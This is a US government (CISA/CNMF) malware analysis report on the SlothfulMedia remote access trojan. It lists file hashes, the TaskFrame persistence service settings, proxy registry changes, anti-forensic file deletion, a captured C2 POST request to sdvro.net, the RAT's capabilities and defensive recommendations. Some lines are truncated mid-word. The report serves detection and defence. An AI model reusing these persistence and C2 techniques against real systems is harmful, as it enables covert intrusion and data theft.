MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA

us-cert.cisa.gov/ncas/analysis-reports/ar20-275a

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of ar information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeab accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distribute more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Force (CNMF). The malware variant, known as SlothfulMedia, has been used by a sophisticated cyber actor. CISA and CNMF are distributing this defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

The sample is a dropper, which deploys two files when executed. The first is a remote access tool (RAT) named ‘mediaplayer.exe’’, which is desig control (C2) of victim computer systems. Analysis has determined the RAT has the ability to terminate processes, run arbitrary commands, take s registry, and modify files on victim machines. It appears to communicate with its C2 controller via Hypertext Transfer Protocol (HTTP) over Transn (TCP).

The second file has a random five-character name and deletes the dropper once the RAT has persistence. Persistence is achieved through the cr named “Task Frame”, which ensures the RAT is loaded after a reboot.

Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch), an highest priority for enhanced mitigation. For more information on malicious cyber activity, please visit https[:]//www[.]us-cert.gov.
For a downloadable copy of IOCs, see MAR-10303705-1.v1.stix.

Submitted Files (1)

64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273 (448838B2A60484EE78C2198F2C0C9C...)

Additional Files (2)

4186b5beb576aa611b84cbe95781c9dccca6762f260ac7a48f6727840fc057fa (wHPEO.exe)

927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae (mediaplayer.exe)

Domains (1)

sdvro.net

Findings

64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273

Tags

botdropperinformation-stealerkeyloggerremote-access-trojantrojan

Details

Name	448838B2A60484EE78C2198F2C0C9C85
Size	117760 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	448838b2a60484ee78c2198f2c0c9c85
SHA1	f2c43a01cabaa694228f5354ea8c6bcf3b7a49b3
SHA256	64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273
SHA512	9e532af06e5f4764529211e8c5c749baa7b01c72f11b603218c3c08d70cf1e732f8d9d81ec257ca247aaa96d1502150a2f402b1b391478
ssdeep	3072:PGA5q4Xmco7ciR7BiU+q+TESaiQ4RHpxJdW:O0qtUYBiU+qRiQy
Entropy	6.156007

Antivirus

BitDefender	Dropped:Generic.Malware.Fdldg.B04B59A4
Comodo	TrojWare.Win32.ButeRat.PP

Emsisoft	Dropped:Generic.Malware.Fdldg.B04B59A4 (B)
Ikarus	Trojan-PWS.Win32.Zbot
Lavasoft	Dropped:Generic.Malware.Fdldg.B04B59A4

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-04-29 10:19:52-04:00
Import Hash	3e935061f369e95ac9d62c7cbdf4acf1

PE Sections

MD5	Name	Raw Size	Entropy
502dceaf120f990b5118230438102568	header	1024	2.390635
1ec70611505f1cebfc859820b45b6cc3	.text	39424	6.506891
dfebe81d71d56100ac07b85046f07b77	.rdata	12288	4.988754
06f5259aac1a4462eaf12334dc0e8daf	.data	59392	6.004077
c2d6c399730fd89b16d2b6d6cec5e393	.rsrc	512	5.105006
1587227ab56ecfb9c5b85aaf24d98454	.reloc	5120	3.993742

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Relationships

64d78eec46...	Dropped	4186b5beb576aa611b84cbe95781c9dccca6762f260ac7a48f6727840fc057fa
64d78eec46...	Connected_To	sdvro.net
64d78eec46...	Dropped	927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae

Description

This file is a 32-bit Windows executable. When executed, it will drop a file called 'mediaplayer.exe' (927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae) into the path %AppData%\Media\. A link file called 'media.lnk' is al
third file is placed in the path %TEMP% and is given a five character random name with an '.exe' extension, e.g. 'wHPEO.exe' (4186b5beb576aa611b84cbe95781c9dccca6762f260ac7a48f6727840fc057fa). This file is created with a 'hidden' attribute to insure that it is not v

Next, the program will create a service on the system called "TaskFrame" with the following parameters:

```
--- Begin Service Parameters ---
HKLM\System\CurrentControlSet\Services\TaskFrame    Type: 272
HKLM\System\CurrentControlSet\Services\TaskFrame    Start: 2
HKLM\System\CurrentControlSet\Services\TaskFrame    ErrorControl: 1
HKLM\System\CurrentControlSet\Services\TaskFrame    ImagePath: C:\Users\<user>\AppData\Roaming\Media\mediaplayer.exe
HKLM\System\CurrentControlSet\Services\TaskFrame    DisplayName: TaskFrame
HKLM\System\CurrentControlSet\Services\TaskFrame    ObjectName: LocalSystem
--- End Service Parameters ---
```

This service is used to create persistence on the system and is designed to start the 'mediaplayer.exe' (927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae) program each time the system is started.

Next, the program will collect system information to send to the command and control (C2). A unique identifier is created and sent in a POST requ
timestamp of the time of infection to the domain www[.]sdvro.net. Connection attempts are made via both HTTP and HTTPS. The following is a sa
request:

```
--- Begin POST Request ---
POST /v?m=u2fssrqh8cl0&i=1598908417 HTTP/1.1
Accept: application/octet-stream,application/xhtml
Content-Length: 436
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75
```

```
Host: www[.]sdvro.net
Connection: Keep-Alive
Cache-Control: no-cache

..D......!F.1y^.4.&....{ ..f]..Fz...;..H.\L`p..$.H..0A.A(An_8...;..$yH.t..4H...3..K.QvRkX.c..|r r=..V.F.....Hc.H......H.
<..tfH....@..uU.@.....uL..D.=o..l!'..D$hH.&.H.f..H.f(..F..n.H..H.\$`H.l$pH..0A_A]A\_^...H.\$.H.t..gH...3..f..K..-.
..|
=../.:.....Hc.H......H.<..tfH....@..uU.r.0.0.[L..t.
o..2!v..D
hy...p.f..H.f(..F..n.H..H.\$`H.l$pH..0A_A]A\_^...H.\$.H.t$.WH..03..K..K(...3..|$ ;=.........Hc.H......H.:..tWH....@..uU.@.....uL..D.
--- End POST Request ---
```

The domain did not resolve to an IP address at the time of analysis. Note: The malware uses the fixed User-Agent string, "Mozilla/5.0 (Windows N
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" in its communication.

The following notable strings were found in unreferenced data within the file. The purpose of the strings could not be determined. The strings are

```
--- Begin Notable Strings ---
C:\Users\david\AppData\Roaming\Media\mediaplayer.exe
david-pc
--- End Notable Strings ---
```

sdvro.net

Tags

command-and-control

Ports

- 80 TCP
- 443 TCP

HTTP Sessions

```
    POST /v?m=u2fssrqh8cl0&i=1598908417 HTTP/1.1
    Accept: application/octet-stream,application/xhtml
    Content-Length: 436
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75
    Host: www.sdvro.net
    Connection: Keep-Alive
    Cache-Control: no-cache

    ..D......!F.1y^.4.&....{ ..f]..Fz...;..H.\L`p..$.H..0A.A(An_8...;..$yH.t..4H...3..K.QvRkX.c..|r r=..V.F.....Hc.H......H.
    <..tfH....@..uU.@.....uL..D.=o..l!'..D$hH.&.H.f..H.f(..F..n.H..H.\$`H.l$pH..0A_A]A\_^...H.\$.H.t..gH...3..f..K..-.
    ..|
    =../.:.....Hc.H......H.<..tfH....@..uU.r.0.0.[L..t.
    o..2!v..D
    hy...p.f..H.f(..F..n.H..H.\$`H.l$pH..0A_A]A\_^...H.\$.H.t$.WH..03..K..K(...3..|$ ;=.........Hc.H......H.:..tWH....@..uU.@.....uL..D.
```

Whois

```
Domain Name: SDVRO.NET
Registry Domain ID: 2371496862_DOMAIN_NET-VRSN
Registrar WHOIS Server: whois.west263.com
Registrar URL: http://www.west.cn/
Updated Date: 2020-03-31T08:26:43Z
Creation Date: 2019-03-21T07:42:43Z
Registry Expiry Date: 2021-03-21T07:42:43Z
Registrar: Chengdu West Dimension Digital Technology Co., Ltd.
Registrar IANA ID: 1556
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: ok https://icann.org/epp#ok
Name Server: NS3.MYHOSTADMIN.NET
Name Server: NS4.MYHOSTADMIN.NET
DNSSEC: unsigned

Domain Name: sdvro.net
Registry Domain ID: whois protect
Registrar WHOIS Server: whois.west.cn
Registrar URL: www.west.cn
Updated Date: 2019-03-21T07:42:42.0Z
Creation Date: 2019-03-21T07:42:42.0Z
Registrar Registration Expiration Date: 2021-03-21T07:42:42.0Z
Registrar: Chengdu west dimension digital technology Co., LTD
Registrar IANA ID: 1556
Reseller:
Domain Status: ok http://www.icann.org/epp#ok
Registry Registrant ID: Not Available From Registry
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: Chengdu
Registrant State/Province: Sichuan
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: CN
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext:
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext:
Registrant Email: link at https://www.west.cn/web/whoisform?domain=sdvro.net
Registry Admin ID: Not Available From Registry
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: Chengdu
Admin State/Province: Sichuan
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: CN
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext:
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext:
Admin Email: link at https://www.west.cn/web/whoisform?domain=sdvro.net
Registry Tech ID: Not Available From Registry
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: Chengdu
Tech State/Province: Sichuan
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: CN
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext:
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext:
Tech Email: link at https://www.west.cn/web/whoisform?domain=sdvro.net
Name Server: ns3.myhostadmin.net
Name Server: ns4.myhostadmin.net
DNSSEC: signedDelegation
```

Relationships

sdvro.net	Connected_From	64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273

Description

This domain did not resolve to an IP address at the time of analysis.

927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae

Tags

remote-access-trojan

Details

Name	mediaplayer.exe
Size	46080 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	9f23bd89694b66d8a67bb18434da4ee8
SHA1	db8c6ea90b1be5aa560bfbe5a34577eb284243af
SHA256	927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae
SHA512	72e95a90dc8ee2fd69b26665e88d19b1d36527fe8bbc03e252d4be925cf4acae20a3155dcd7caa50daf6e16d201a16822d77356c9165
ssdeep	768:NRw4PZcMc8ie9+dZL6DSKdzxSGyCevVcxjw3e3PxKfRXAxo3vhxfFORpa9sxw:NRwaBiU+dZODSKeGHSaxjw3QUfRH/hx7
Entropy	6.320571

Antivirus

BitDefender	Gen:Variant.Fugrafa.6689
Emsisoft	Gen:Variant.Fugrafa.6689 (B)

Lavasoft	Gen:Variant.Fugrafa.6689
Symantec	Heur.AdvML.B

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-04-29 10:18:34-04:00
Import Hash	db182005fc9fccab434ec0764ea5a244
Company Name	Tdl Corporation
File Description	Local Security Process
Internal Name	None
Legal Copyright	Copyright (C) 2018
Original Filename	None
Product Name	Tdl Corporation
Product Version	1.0.0.1

PE Sections

MD5	Name	Raw Size	Entropy
faf4cd402ffdb84551c382ea45f2f893	header	1024	2.514929
7e3095c827af75a349f3c206925932cd	.text	31232	6.493665
614ccbacb5de6dae94b6af93aa5a83fc	.rdata	8192	5.232371
543ffbd535401feb9f37c585d9f161f3	.data	1536	4.679413
7c1584feb039309d7a4307c39adaa54f	.rsrc	1024	2.333786
79345fb74e56359cd6eb957ceb52e0ab	.reloc	3072	4.519356

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Relationships

927d945476...	Dropped_By	64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273

Description

This file is a 32-bit Windows executable file that is dropped and executed by 448838B2A60484EE78C2198F2C0C9C85. The file is called 'mediap
executed, it will look for a file called 'Junk9' and will attempt to delete it. The file 'Junk9' was not available for analysis. Next, it will take a screensh
and name it 'Filter3.jpg' and store this in the local directory. The program then looks for a service called 'TaskFrame' and attempts to start it. The '
able to delete, add, or modify registry keys, and start and stop a keylogger program on the system. If the 'TaskFrame' service is already installed a
will terminate.

The malware will create a mutex on the system called 'Global\mukimukix'. The program changes the proxy configuration of the system with the fo
modifications:

```
--- Begin Registry Modification ---
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
   Name: ProxyBypass    Value: 1
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
Name: IntranetName Value: 1
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
Name: UNCAsIntranet Value: 1
--- End Registry Modification ---
```

The program collects the computer name, user name, OS version, adapter information, memory usage, and logical drives for the system. This info into a string that is hashed and sent as part of the initial POST request to the C2. The program will expect to receive a '200 OK' response from the transmission. If it receives a '501 Error' the program sleeps for three seconds and attempts another connection. If the initial connection to the C2 i program will await a command. The program is capable of executing the following tasks from commands issued by the C2:

--- Begin Program Capabilities ---

1. Create, Write, and Delete files.
2. Open a Command Line.
3. Move Files.
4. Enumerate Open Ports.
5. Enumerate Drives.
6. Enumerate Processes by ID, Name, or Privileges.
7. Start and Stop Processes.
8. Enumerate Files and Directories.
9. Open a Named Pipe and Send and Receive Data.
10. Take Screenshots.
11. Inject into User Processes.
12. Enumerate Services.
13. Start/Stop Services.
14. Modify the Registry.
15. Open/Close TCP and UDP Sessions.

--- End Program Capabilities ---

The program will also look for the following paths: \SetupUi, \AppIni, and \ExtInfo. The purpose for this search could not be determined.

4186b5beb576aa611b84cbe95781c9dccca6762f260ac7a48f6727840fc057fa

Tags

remote-access-trojan

Details

Name	wHPEO.exe
Size	7168 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	92a40c64cea4a87de1c24437612f2e0f
SHA1	f52f0685a72d6a8f3e119ce92b7cf1c2c6a83bb9
SHA256	4186b5beb576aa611b84cbe95781c9dccca6762f260ac7a48f6727840fc057fa
SHA512	d0714d09dcac070eb8d0971e953ce0c0382658d5682982a8045dcf29da9a729be57dc7d60c4e18f1833966f6c6584e9a883871eef8d1c
ssdeep	192:DcTrBTVdZzgW+mpWpc9aThFJJRmqSA9iu:c7EmpWpc9aThFVviu
Entropy	5.395407

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2017-12-04 08:14:24-05:00
Import Hash	6ab19ee53c87a04ccb965f5f658b717a

PE Sections

MD5	Name	Raw Size	Entropy
d6cd352d657372b25707fed98bc3bd0b	header	1024	2.379332
c036d2e814490871e54dd84e8117e044	.text	2560	5.788179
2f2819452977bcfd6dcac4389a2cd193	.rdata	1536	4.849405
afadce14c7f045a0390158515331a054	.data	512	1.342806

554d0cedd69e96ee00c8324ce4da604c	.rsrc	1024	5.194460
ed7fec6ad28b233df4676dad7f306c3c	.reloc	512	4.741130

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Relationships

4186b5beb5...	Dropped_By	64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273

Description

This artifact is a 32-bit Windows executable that is dropped by 448838B2A60484EE78C2198F2C0C9C85. This program has some anti-forensic c
to clear indicators of compromise (IOCs) from the system. The program first verifies that the service 'TaskFrame' is running then adds the followin

--- Begin Registry Modification ---
HKLM\System\CurrentControlSet\Control\SessionManager\PendingFileRenameOperations
Data: \??\C:\Users\<user>\AppData\Local\Temp\wHPEO.exe
--- End Registry Modification ---

This modification insures that the file is deleted with the next system restart. The program will also delete the user's 'index.dat' file thus removing t
history from the system.

Relationship Summary

64d78eec46...	Dropped	4186b5beb576aa611b84cbe95781c9dccca6762f260ac7a48f6727840fc057fa
64d78eec46...	Connected_To	sdvro.net
64d78eec46...	Dropped	927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae
sdvro.net	Connected_From	64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273
927d945476...	Dropped_By	64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273
4186b5beb5...	Dropped_By	64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizatio
configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unl
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Specia
"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at t
https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In mos
provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding
analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manua
request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document shoul
at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and ph
Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

October 1, 2020: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Please share your thoughts.

We recently updated our anonymous product survey; we'd welcome your feedback.